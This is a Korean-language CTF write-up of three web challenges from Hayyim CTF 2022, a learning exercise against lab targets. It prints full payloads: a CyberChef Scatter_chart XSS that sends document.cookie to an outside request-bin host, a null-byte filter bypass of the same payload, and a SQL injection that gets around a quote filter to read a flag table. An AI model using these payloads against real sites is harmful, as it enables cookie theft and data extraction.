CTF Reviewed & Writeups/Hayyim CTF

2022 Hayyim CTF 복기

반응형
SMALL

Hayyim CTF 참가 계기

저는 CTF에 대한 경험을 쌓기 위해서 이번 2022년도에 jun0911.dev라는 이름으로 하임 시큐리티에서 주관한 Hayyim CTF에 참가를 하였고 '마스터는 구글청소부'라는 팀명으로 CTF를 진행하였습니다.

최종적으로 웹 부분 문제에서 총 3문제를 풀고 648pts, 30등으로 CTF를 마무리하였습니다.

해당 포스트에 지금까지 풀었던 문제들을 복기해보면서 writeup을 작성하려고 합니다.

Hayyim CTF '마스터는 구글청소부' 팀

Cyberchef

Description

The Cyber Swiss Army Knife.
Instance : http://1.230.253.91:8000
Bot : http://1.230.253.91:8001

WriteUp - Prediction

문제 이름부터 저는 Cyberchef 오픈소스 관련된 문제라고 생각이 들었습니다.

문제 파일을 다운받고 app.js 내용을 확인해봤는데 /, /report 이렇게 총 2개의 엔드포인트가 존재하였습니다.

저는 먼저 가장 의심스러운 /report 엔드포인트 부터 확인을 해보았습니다.

// utils.js
const checkUrl = (url) => {
  // const urlPrefix = 'http://cyberchef:8000/';
  return !(typeof url !== 'string' || !url.startsWith(urlPrefix) || url.length > 1024);
};

const visitUrl = (url) => {
  return new Promise(async (resolve) => {
    const driver = new webdriver.Builder('chrome')
      .usingServer('http://selenium:4444/wd/hub/')
      .withCapabilities(capabilities)
      .build();

    await driver.get(urlPrefix); // const urlPrefix = 'http://cyberchef:8000/';

    await driver.manage().addCookie({
      name: 'flag',
      value: flag
    }); // setting flag

    await driver.manage().setTimeouts({
      implicit: pageTimeout,
      pageLoad: pageTimeout,
      script: pageTimeout
    });

    await driver.get(url); // visitUrl param
    await sleep(pageTimeout);
    await driver.quit();

    resolve();
  });
};

// app.js /report endpoint
app.post('/report', (req, res) => {
  const url = req.body.url;

  if (!checkUrl(url)) {
    res.redirect('/?message=invalid argument');
  } else if (!checkRateLimit(req.ip)) {
    res.redirect(`/?message=rate limited`);
  } else {
    visitUrl(url)
      .then(() => res.redirect('/?message=reported'));
  }
});

위는 문제 코드에서 일부를 요약한 것입니다.

여기서 저는 /report 엔드포인트에 있는 조건문만 잘 우회한다면 무언가 취약점을 일으킬 수 있을 것이라 예상했습니다.

또한 visitUrl 함수에서 webdriver를 사용해 가장 먼저 'http://cyberchef:8000/' URL에 flag가 담긴 쿠키를 추가하고 그다음, visitUrl 함수에서 url 파라미터 값을 driver.get() method를 사용해 request을 수행하는 것으로 보아 XSS 취약점을 발생시켜 'http://cyberchef:8000/' 주소에 담긴 쿠키를 읽어오면 될 것이라고 예상하였습니다.

Writeup - Search

가장 먼저 cyberchef github repo에 접근하여 XSS 관련된 lssues가 있는지 확인해보았습니다. 

github.com CyberChef bug report

XSS 관련된 많은 이슈가 있었던 것으로 보아 해당 내용에 있는 payload를 일일이 확인해보았습니다.

찾아보다가 https://github.com/gchq/CyberChef/issues/1265

 

XSS in colour field of Scatter chart / Series chart · Issue #1265 · gchq/CyberChef

Describe the bug The SVG charts generated by "Scatter chart" and "Series chart" do not sufficiently escape the colour attribute, leading to reflected XSS. To Reproduce Create a ...

github.com

위와 같이 Scatter_chart와 Series_chart에서 XSS가 발생할 수 있는 payload 구문을 확인하였고, 해당 payload를 Cyberchef 문제에 기재되어있는 Instance URL에 직접 실험해보았더니 아래와 같이 alert이 동작되는 것을 확인할 수 있었습니다.

Hayyim CTF http://1.230.253.91:8000/ XSS vuln test result

Writeup - Checking

저는 이와 같은 취약점이 발생한다는 것을 알고 해당 페이로드를 Cyberchef 문제에서 사용할 수 있는지 확인해보았습니다.

// utils.js
const urlPrefix = 'http://cyberchef:8000/';

const checkUrl = (url) => {
  return !(typeof url !== 'string' || !url.startsWith(urlPrefix) || url.length > 1024);
};

위는 /report 엔드포인트에서 받은 url을 확인하는 checkUrl 함수입니다.

함수에서 보면 알 수 있듯이 startsWith 메서드를 사용해서 url이 'http://cyberchef:8000/'로 시작되는지를 check 하는 것을 확인해볼 수 있었습니다.

즉, 저는 github에서 찾은 페이로드를 이용해면 검사도 통과가 가능하고 flag까지 읽어올 수 있을 것이라 생각하였습니다.

Writeup - Exploit

저는 Scatter_chart를 이용하였고, 아래와 같이 자바스크립트 페이로드를 미리 구현해놨습니다.

(cookie 값을 받아오기 위해 dreamhack tools 서비스를 이용하였습니다.)

location.href = `https://jlzkfpi.request.dreamhack.games?${document.cookie]`;
// url Encode = location.href%20%3D%20%60https%3A%2F%2Fjlzkfpi.request.dreamhack.games%3F%24%7Bdocument.cookie%5D%60%3B

위 페이로드를 Scatter_chart XSS 취약점과 결합하면 최종 페이로드를 아래와 같이 구성됩니다.

http://cyberchef:8000/#recipe=Scatter_chart(%27Line%20feed%27,%27Space%27,false,%27%27,%27%27,%27red%22%3E%3Cscript%3Elocation.href%3D%60https%3A%2F%2Fjlzkfpi.request.dreamhack.games%3F%24%7Bdocument.cookie%7D%60%3C%2Fscript%3E%27,100,false)&input=MTAwLCAxMDA

이를 Bot 페이지에서 최종적으로 요청을 시도해보면 아래와 같이 flag가 출력된 것을 확인하실 수 있습니다.

Exploit Result

FLAG = hsctf{fa98fe3d32b4302aff1c322c925238a9d935b636f265cbfdd798391ca9c5a905}

Not E

Description

Daily note writer.
http://1.230.253.91:1000

WriteUp - Prediction

코드를 처음 다운로드하고 확인해 봤을 때, SQL QUERY문이 잔뜩 있는 걸로 보아 SQL Injection 문제라고 생각하였습니다.

처음에 app.js에서 쿼리문을 처리할 때, 쿼리 매개변수가 들어가서 모든 쿼리문에서 SQL INJECTION이 불가능할 것이라 생각하였지만 utils.js 코드에서 "?" 문자를 처리하는 코드가 있다는 걸 알게 되었습니다.

아래는 utils.js Database Class 코드의 일부를 가져온 것입니다.

class Database {
  #formatQuery(sql, params = []) {
    for (const param of params) {
      if (typeof param === 'number') {
        sql = sql.replace('?', param);
      } else if (typeof param === 'string') {
        sql = sql.replace('?', JSON.stringify(param.replace(/["\\]/g, '')));
      } else {
        sql = sql.replace('?', ""); // unreachable
      }
    }
    return sql;
  };
}

formatQuery 메서드에서는 쿼리문에서 받아온 "?" 문자를 처리합니다.

여기서 저는  param이 string 타입인지 비교하는 조건문에서 값을 잘 조정하면 SQL INJECTION을 일으킬 수 있을 것이라 예상하였습니다.

WriteUp - Search

저는 취약점을 어디에 일으킬 수 있을지 생각을 해보았습니다,

그러다가 로그인을 성공하고 나오는 페이지 중, /new 엔드포인트에 SQL INJECTION을 일으킬 수 있을 것이라 생각하였습니다.

app.all('/new', async (req, res) => {
  if (req.method !== 'POST') {
    return res.render('new', { auth: true });
  }

  const { title, content } = req.body;

  if (!checkParam(title) || !checkParam(content)) {
    return res.redirect('?message=invalid argument');
  }

  const noteId = md5(title + content);

  await db.run('insert into posts values (?, ?, ?, ?)', [ noteId, title, content, req.session.login ]);

  return res.redirect('/?message=successfully created');
});

/new 엔드포인트 중, posts 테이블에 데이터를 insert 하는 쿼리문에서 content 칼럼에 서브 쿼리를 이용하여 flag 테이블에 있는 flag 값을 읽어와 저장하면 posts에서 flag를 읽어올 수 있을 것 같았습니다.

WriteUp - Composition

수많은 Payload를 구현해보다가 저는 "?" 문자만 있었을 때, 어떻게 처리되는지 확인하고 싶었습니다.

테스트 서버를 열고 동일한 코드로 테스트를 해봤을 때 "?" 문자를 formatQuery 메서드에 의해 "?" 문자 하나가 더 추가되고 그로 인해 빈 문자열 ("")로 처리가 되는 것을 확인할 수 있었습니다.

즉, 이를 이용해서 replace 정규표현식을 우회할 수 있었습니다.

class Database {
  #formatQuery(sql, params = []) {
    for (const param of params) {
      if (typeof param === 'number') {
        sql = sql.replace('?', param);
      } else if (typeof param === 'string') {
        // "?" 문자를 SQL 쿼리문에 한번 더 삽입하게 되면 빈 문자열("")로 바뀌어 정규표현식 우회가능
        // ex before : insert into posts ("test", "title?", "test", "guest");
        // ex after : insert into posts ("test", "title""", "test", "guest");
        sql = sql.replace('?', JSON.stringify(param.replace(/["\\]/g, '')));
      } else {
        sql = sql.replace('?', ""); // unreachable
      }
    }
    return sql;
  };
}

따라서 이를 사용하게 될 시 " 필터링을 우회하게 되어 서브 쿼리문을 삽입할 수 있게 됩니다.

WriteUp - Exploit

저는 아래와 같이 최종 payload를 구현하였습니다.

# title : read_flag?
# content : , (SELECT * FROM flag), 'username'); -- 
최종 삽입 페이로드
# bafore payload : insert into posts value ("note_id", "read_flag?", ", (SELECT * FROM flag), 'username'); -- ", "username");
# after payload :  insert into posts value ("note_id", "read_flag", (SELECT * FROM flag), 'username'); -- "", "", ?);

즉, 위 페이로드를 사용하게 되면 flag를 post에서 읽을 수 있을 것입니다.

페이로드 실행 결과

정상적으로 flag를 posts 테이블에서 읽어올 수 있었습니다.

FLAG : hsctf{038d083216a920c589917b898ff41fd9611956b711035b30766ffaf2ae7f75f2}

Cyber Headchef

Description

The Cyber Swiss Army Knife.
Instance : http://1.230.253.91:9000
Bot : http://1.230.253.91:9001
This is the revenge challenge of Cyberchef.

writeUp - Exploit

app.post('/report', (req, res) => {
  const url = req.body.url;

  if (!checkUrl(url)) {
    res.redirect('/?message=invalid argument');
    // 추가된 조건문
  } else if (unescape(url).indexOf('chart') !== -1) {
    res.redirect('/?message=sorry, headchef doesn\'t like chart!');
  } else if (!checkRateLimit(req.ip)) {
    res.redirect(`/?message=rate limited`);
  } else {
    visitUrl(url)
      .then(() => res.redirect('/?message=reported'));
  }
});

위는 Cyber Headchef 문제의 app.js 서버 코드 /report 엔드포인트 부분 코드입니다.

위와 같이 기존 코드에서 url에 chart라는 문자열이 들어가는지 확인하는 조건문만 추가되었습니다.

즉, 기존 페이로드에서 Null byte를 삽입할 수 있는 점을 이용해 수정만 해주면 chart 문자열을 검사하는 조건문을 우회해서 flag를 얻을 수 있습니다.

아래는 최종 페이로드입니다. (dreamhack tools를 이용하였습니다.)

http://cyberchef:8000/#recipe=Scatter_ch%00art(%27Line%20feed%27,%27Space%27,false,%27%27,%27%27,%27red%22%3E%3Cscript%3Elocation.href%3D%60https%3A%2F%2Fnwgbadz.request.dreamhack.games%3F%24%7Bdocument.cookie%7D%60%3C%2Fscript%3E%27,100,false)&input=MTAwLCAxMDA

문제 서버 사이트가 막혀서 사진을 첨부할 수 없었습니다.

Hayyim CTF 소감 

이제, 웹 해킹을 공부한 지 2개월 정도가 되었는데, 고수분들이 말하시기를 최대한 많은 CTF를 나가라고 하셔서 3개의 CTF를 참가하게 된 결과., Realworld CTF에서는 1문제, DiceCTF에서는 2문제, 그리고 이번 Hayyim CTF에서는 제가 생각했던 총 2문제 풀기 목표보다 총 3문제라는 문제를 풀게 되어서 기분이 좋았는데, Top 30이라는 믿기지 않는 순위까지 올라가게 되어서 좋은 경험이 되었던 것 같습니다.

2개월밖에 안되었지만 앞으로 더욱더 많은 CTF를 나가면서 좋은 경험을 쌓아보려고 합니다.

 

반응형
LIST